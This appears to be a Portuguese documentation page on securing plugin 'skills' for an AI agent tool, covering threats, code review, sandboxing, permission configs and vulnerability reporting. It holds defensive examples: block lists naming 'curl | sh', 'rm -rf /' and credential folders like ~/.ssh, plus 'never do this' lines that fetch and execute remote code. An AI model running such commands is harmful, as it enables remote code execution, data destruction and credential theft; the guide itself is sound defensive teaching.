Segurança e Permissões

Segurança de Skills

Skills são poderosos porque podem executar código e acessar recursos do sistema. Com grande poder vem grande responsabilidade.

⚠ Modelo de Ameaças

Riscos de Skills Maliciosos

Um skill mal-intencionado poderia:

  • Exfiltrar dados - Enviar arquivos pessoais para servidores externos
  • Destruir dados - Deletar arquivos importantes
  • Escalar privilégios - Acessar recursos além do permitido
  • Consumir recursos - API calls excessivas gerando custos
  • Espionar - Capturar senhas, tokens, informações sensíveis

Vetores de Ataque

  1. Supply chain - Skill legítimo comprometido
  2. Typosquatting - Skill falso com nome similar
  3. Social engineering - Skill parece útil mas é malicioso
  4. Dependency confusion - Scripts que baixam código malicioso

Boas Práticas para Usuários

Antes de Instalar um Skill

1. Verifique a Fonte

# Skills verificados são mais seguros
openclaw skill info nome-do-skill

# Verifique se tem badge de verificação

✅ Prefira skills:

  • Do repositório oficial
  • Com badge de verificação
  • Com muitos downloads e avaliações
  • De autores conhecidos

2. Leia o Código

Antes de usar um skill desconhecido:

# Extraia e leia
unzip skill.skill -d /tmp/skill-review
cat /tmp/skill-review/SKILL.md
ls -la /tmp/skill-review/scripts/
cat /tmp/skill-review/scripts/*.py

Red flags no código:

  • eval() ou exec() com input externo
  • Requests para URLs suspeitas
  • Acesso a diretórios sensíveis (~/.ssh, ~/.aws)
  • Encoding/decoding estranho (possível ofuscação)

3. Teste em Sandbox

Para skills suspeitos, teste em ambiente isolado:

# Usando Docker
docker run -it --rm -v ~/clawd/skills:/skills alpine sh

# Ou VM descartável

Durante o Uso

Monitore Atividade de Rede

# macOS/Linux
sudo lsof -i -P | grep openclaw

# Ou use Little Snitch, LuLu, etc.

Limite Permissões

No config.yaml:

security:
  # Restringir diretórios acessíveis
  allowedPaths:
    - ~/clawd
    - ~/Documents
  
  # Bloquear comandos perigosos
  blockedCommands:
    - rm -rf
    - curl | sh
    - wget | bash
  
  # Modo sandbox
  sandboxExec: true

Revogue Quando Não Usar

# Remova skills não utilizados
openclaw skill list
openclaw skill remove skill-nao-usado

Boas Práticas para Criadores

Princípio do Menor Privilégio

Seu skill deve solicitar apenas o mínimo necessário:

# ❌ Ruim
metadata:
  openclaw:
    requires:
      paths: ["~"]  # Acesso a tudo

# ✅ Bom
metadata:
  openclaw:
    requires:
      paths: ["~/Documents/projeto-x"]  # Só o necessário

Evite Hardcoded Secrets

# ❌ NUNCA faça isso
API_KEY = "sk-abc123..."

# ✅ Use variáveis de ambiente
import os
API_KEY = os.environ.get("MY_API_KEY")

Valide Inputs

# ❌ Perigoso
def process_file(path):
    return open(path).read()

# ✅ Seguro
def process_file(path):
    safe_path = Path(path).resolve()
    allowed_dir = Path.home() / "Documents"
    if not str(safe_path).startswith(str(allowed_dir)):
        raise ValueError("Path not allowed")
    return safe_path.read_text()

Documente Permissões

No SKILL.md, seja transparente:

## Permissões Necessárias

Este skill precisa de:
-  Acesso a ~/Documents/projetos
-  Conexão com api.exemplo.com
-  Escrita em ~/.cache/meu-skill

**Por quê:** Explicação clara de cada permissão.

Não Execute Código Remoto

# ❌ NUNCA
exec(requests.get("https://example.com/code.py").text)

# ❌ NUNCA
os.system("curl https://example.com/script.sh | bash")

Auditoria de Skills

Checklist de Segurança

Antes de usar ou publicar um skill:

  • Código revisado manualmente
  • Sem hardcoded secrets
  • Sem execução de código remoto
  • Permissões mínimas necessárias
  • Inputs validados e sanitizados
  • Sem acesso a diretórios sensíveis desnecessário
  • Conexões de rede documentadas
  • Dependências conhecidas e confiáveis

Ferramentas de Análise

# Buscar padrões suspeitos
grep -r "eval\|exec\|system\|popen" scripts/

# Verificar URLs externas
grep -r "http" scripts/

# Checar acesso a paths sensíveis
grep -r "\.ssh\|\.aws\|\.gnupg" scripts/

Reportando Vulnerabilidades

Se encontrar um skill malicioso ou vulnerável:

No ClawHub

  1. Vá para a página do skill
  2. Clique em “Report Issue”
  3. Selecione “Security Vulnerability”
  4. Descreva o problema em detalhes

Por Email

Disclosure Responsável

  1. Não publique a vulnerabilidade imediatamente
  2. Dê tempo para correção (30-90 dias)
  3. Coordene com mantenedores
  4. Publique após correção

Configuração de Segurança

Exemplo de config.yaml Seguro

security:
  # Modo de execução
  sandboxExec: true
  elevatedAllowed: false
  
  # Paths permitidos
  allowedPaths:
    - ~/clawd
    - ~/Documents
    - /tmp/openclaw-*
  
  # Paths bloqueados (sempre)
  blockedPaths:
    - ~/.ssh
    - ~/.aws
    - ~/.gnupg
    - ~/.config/gcloud
  
  # Comandos bloqueados
  blockedCommands:
    - rm -rf /
    - rm -rf ~
    - curl | sh
    - wget | bash
    - eval
  
  # Domínios permitidos para requests
  allowedDomains:
    - api.openai.com
    - api.anthropic.com
    - wttr.in
    - api.github.com
  
  # Limites
  maxTokensPerMinute: 100000
  maxApiCallsPerHour: 1000

skills:
  # Só skills verificados
  verifiedOnly: true
  
  # Auto-update com revisão
  autoUpdate: prompt

Resumo

QuemResponsabilidade
UsuáriosVerificar fonte, ler código, limitar permissões
CriadoresMenor privilégio, sem secrets, validar inputs
ComunidadeReportar vulnerabilidades, revisar skills

Próximos Passos